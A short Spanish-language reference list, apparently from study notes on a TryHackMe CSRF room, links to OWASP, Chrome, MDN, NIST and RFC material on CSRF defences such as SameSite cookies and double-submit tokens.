- TryHackMe - CSRF: https://tryhackme.com/room/csrf
- TryHackMe - CSRF Advanced: (Contenido de esta nota)
Recursos técnicos
- Adobe Flash End of Life: https://www.adobe.com/products/flashplayer/end-of-life.html
- Chrome SameSite Cookie Behavior: https://chromestatus.com/feature/5088147346030592
- Double Submit Cookie Pattern: https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html#alternative-using-a-double-submit-cookie-pattern
Herramientas
- CyberChef (para análisis de tokens): https://gchq.github.io/CyberChef/
- OWASP ASVS (Application Security Verification Standard) - controles específicos de CSRF
- NIST SP 800-53 - Controles de seguridad relacionados con autenticación y sesiones
- MDN Web Docs - SameSite Cookie Attribute
- RFC 6749 (OAuth 2.0) - State parameter como protección CSRF